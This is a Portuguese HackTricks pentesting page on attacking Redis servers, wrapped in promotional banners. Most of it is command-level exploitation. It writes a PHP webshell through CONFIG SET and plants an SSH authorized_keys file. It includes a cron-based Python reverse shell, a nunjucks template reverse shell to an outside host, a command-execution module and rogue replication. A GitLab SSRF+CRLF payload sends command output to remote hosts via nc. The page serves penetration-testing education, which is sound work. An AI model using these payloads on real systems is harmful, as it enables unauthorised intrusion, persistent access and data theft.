hacktricks/network-services-pentesting/6379-pentesting-redis.md

342 lines
19 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6379 - Pentesting Redis
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
**Insights de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
**Notícias de Hacking em Tempo Real**\
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Informações Básicas
De [a documentação](https://redis.io/topics/introduction): Redis é um **armazenamento de estrutura de dados** em memória de código aberto (licenciado BSD), usado como um **banco de dados**, cache e corretor de mensagens.
Por padrão, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que também pode implementar **ssl/tls**. Aprenda como [executar o Redis com ssl/tls aqui](https://fossies.org/linux/redis/TLS.md).
**Porta padrão:** 6379
```
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
```
## Enumeração Automática
Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância redis:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
```
## Enumeração Manual
### Banner
Redis é um **protocolo baseado em texto**, você pode simplesmente **enviar o comando em um socket** e os valores retornados serão legíveis. Também lembre-se de que o Redis pode ser executado usando **ssl/tls** (mas isso é muito estranho).
Em uma instância regular do Redis, você pode simplesmente se conectar usando `nc` ou também pode usar `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
O **primeiro comando** que você pode tentar é **`info`**. Ele **pode retornar uma saída com informações** da instância Redis **ou algo** como o seguinte é retornado:
```
-NOAUTH Authentication required.
```
Neste último caso, isso significa que **você precisa de credenciais válidas** para acessar a instância do Redis.
### Autenticação do Redis
**Por padrão**, o Redis pode ser acessado **sem credenciais**. No entanto, ele pode ser **configurado** para suportar **apenas senha ou nome de usuário + senha**.\
É possível **definir uma senha** no arquivo _**redis.conf**_ com o parâmetro `requirepass` **ou temporariamente** até que o serviço reinicie conectando-se a ele e executando: `config set requirepass p@ss$12E45`.\
Além disso, um **nome de usuário** pode ser configurado no parâmetro `masteruser` dentro do arquivo _**redis.conf**_.
{% hint style="info" %}
Se apenas a senha estiver configurada, o nome de usuário usado é "**default**".\
Além disso, observe que **não há como descobrir externamente** se o Redis foi configurado apenas com senha ou nome de usuário+senha.
{% endhint %}
Em casos como este, você **precisará encontrar credenciais válidas** para interagir com o Redis, então você pode tentar [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis) nele.\
**Caso você encontre credenciais válidas, precisará autenticar a sessão** após estabelecer a conexão com o comando:
```bash
AUTH <username> <password>
```
**Credenciais válidas** serão respondidas com: `+OK`
### **Enumeração autenticada**
Se o servidor Redis permitir **conexões anônimas** ou se você tiver obtido credenciais válidas, você pode iniciar o processo de enumeração para o serviço usando os seguintes **comandos**:
```bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]
```
**Outros comandos Redis** [**podem ser encontrados aqui**](https://redis.io/topics/data-types-intro) **e** [**aqui**](https://lzone.de/cheat-sheet/Redis)**.**
Observe que os **comandos Redis de uma instância podem ser renomeados** ou removidos no arquivo _redis.conf_. Por exemplo, esta linha removerá o comando FLUSHDB:
```
rename-command FLUSHDB ""
```
Mais sobre como configurar um serviço Redis de forma segura aqui: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Você também pode **monitorar em tempo real os comandos Redis** executados com o comando **`monitor`** ou obter as **25 consultas mais lentas** com **`slowlog get 25`**
Encontre mais informações interessantes sobre mais comandos Redis aqui: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumping Database**
Dentro do Redis, as **bancos de dados são números começando de 0**. Você pode verificar se alguém está sendo usado na saída do comando `info` dentro do bloco "Keyspace":
![](<../.gitbook/assets/image (766).png>)
Ou você pode simplesmente obter todos os **keyspaces** (bancos de dados) com:
```
INFO keyspace
```
No exemplo, **o banco de dados 0 e 1** estão sendo usados. **O banco de dados 0 contém 4 chaves e o banco de dados 1 contém 1**. Por padrão, o Redis usará o banco de dados 0. Para despejar, por exemplo, o banco de dados 1, você precisa fazer:
```bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]
```
Em caso de você receber o seguinte erro `-WRONGTYPE Operation against a key holding the wrong kind of value` ao executar `GET <KEY>`, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.
Para saber o tipo da chave, use o comando `TYPE`, exemplo abaixo para chaves de lista e hash.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
# If the type used is weird you can always do:
DUMP <key>
```
**Despeje o banco de dados com npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **ou python** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
**Insights de Hacking**\
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
**Notícias de Hack em Tempo Real**\
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
## Redis RCE
### Shell Interativa
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) pode obter automaticamente uma shell interativa ou uma shell reversa no Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
Info de [**aqui**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Você deve conhecer o **caminho** da **pasta do site**:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK
```
Se a exceção de acesso ao webshell ocorrer, você pode esvaziar o banco de dados após o backup e tentar novamente, lembre-se de restaurar o banco de dados.
### Template Webshell
Como na seção anterior, você também pode sobrescrever algum arquivo de template html que será interpretado por um mecanismo de template e obter um shell.
Por exemplo, seguindo [**este writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), você pode ver que o atacante injetou um **rev shell em um html** interpretado pelo **mecanismo de template nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}
```
{% hint style="warning" %}
Note que **vários mecanismos de template armazenam em cache** os templates na **memória**, então mesmo que você os sobrescreva, o novo **não será executado**. Nesses casos, ou o desenvolvedor deixou o recarregamento automático ativo ou você precisa fazer um DoS sobre o serviço (e esperar que ele seja reiniciado automaticamente).
{% endhint %}
### SSH
Exemplo [daqui](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Por favor, esteja ciente de que o resultado de **`config get dir`** pode ser alterado após outros comandos de exploração manuais. Sugere-se executá-lo primeiro logo após o login no Redis. Na saída de **`config get dir`** você pode encontrar o **home** do **usuário redis** (geralmente _/var/lib/redis_ ou _/home/redis/.ssh_), e sabendo disso, você sabe onde pode escrever o arquivo `authenticated_users` para acessar via ssh **com o usuário redis**. Se você souber o home de outro usuário válido onde você tem permissões de gravação, você também pode abusar disso:
1. Gere um par de chaves pública-privada ssh no seu pc: **`ssh-keygen -t rsa`**
2. Escreva a chave pública em um arquivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Importe o arquivo para o redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Salve a chave pública no arquivo **authorized\_keys** no servidor redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
```
5. Finalmente, você pode **ssh** para o **servidor redis** com a chave privada: **ssh -i id\_rsa redis@10.85.0.52**
**Esta técnica está automatizada aqui:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
O último exemplo é para Ubuntu, para **Centos**, o comando acima deve ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
Este método também pode ser usado para ganhar bitcoin [yam](https://www.v2ex.com/t/286981#reply14)
### Carregar Módulo Redis
1. Seguindo as instruções de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) você pode **compilar um módulo redis para executar comandos arbitrários**.
2. Então você precisa de alguma forma de **fazer upload do módulo compilado**.
3. **Carregue o módulo enviado** em tempo de execução com `MODULE LOAD /path/to/mymodule.so`
4. **Liste os módulos carregados** para verificar se foi carregado corretamente: `MODULE LIST`
5. **Execute** **comandos**:
```
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. Descarregue o módulo sempre que quiser: `MODULE UNLOAD mymodule`
### Bypass do sandbox LUA
[**Aqui**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) você pode ver que o Redis usa o comando **EVAL** para executar **código Lua em sandbox**. No post vinculado, você pode ver **como abusar disso** usando a função **dofile**, mas [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) isso não é mais possível. De qualquer forma, se você conseguir **burlar o sandbox Lua**, poderá **executar comandos arbitrários** no sistema. Além disso, no mesmo post você pode ver algumas **opções para causar DoS**.
Alguns **CVEs para escapar do LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Módulo Master-Slave
O redis master sincroniza automaticamente todas as operações com o redis slave, o que significa que podemos considerar a vulnerabilidade redis como um redis slave, conectado ao redis master que controlamos, então podemos inserir o comando no nosso próprio redis.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF falando com Redis
Se você puder enviar uma solicitação **em texto claro** **para Redis**, você pode **se comunicar com ele**, pois o Redis lerá linha por linha a solicitação e apenas responderá com erros para as linhas que não entende:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Portanto, se você encontrar uma **SSRF vuln** em um site e puder **controlar** alguns **headers** (talvez com uma vulnerabilidade CRLF) ou **parâmetros POST**, você poderá enviar comandos arbitrários para o Redis.
### Exemplo: Gitlab SSRF + CRLF para Shell
No **Gitlab11.4.7** foi descoberta uma vulnerabilidade **SSRF** e uma **CRLF**. A vulnerabilidade **SSRF** estava na **funcionalidade de importar projeto de URL** ao criar um novo projeto e permitia acessar IPs arbitrários na forma \[0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade **CRLF** foi explorada apenas **adicionando caracteres %0D%0A** à **URL**.
Portanto, foi possível **abusar dessas vulnerabilidades para se comunicar com a instância do Redis** que **gerencia filas** do **gitlab** e abusar dessas filas para **obter execução de código**. O payload de abuso da fila do Redis é:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
E a solicitação **URL encode** **abusando SSRF** e **CRLF** para executar um `whoami` e enviar a saída de volta via `nc` é:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Por algum motivo (como para o autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de onde essa informação foi retirada) a exploração funcionou com o esquema `git` e não com o esquema `http`._
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
**Insights de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
**Notícias de Hack em Tempo Real**\
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre os novos programas de recompensas por bugs que estão sendo lançados e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}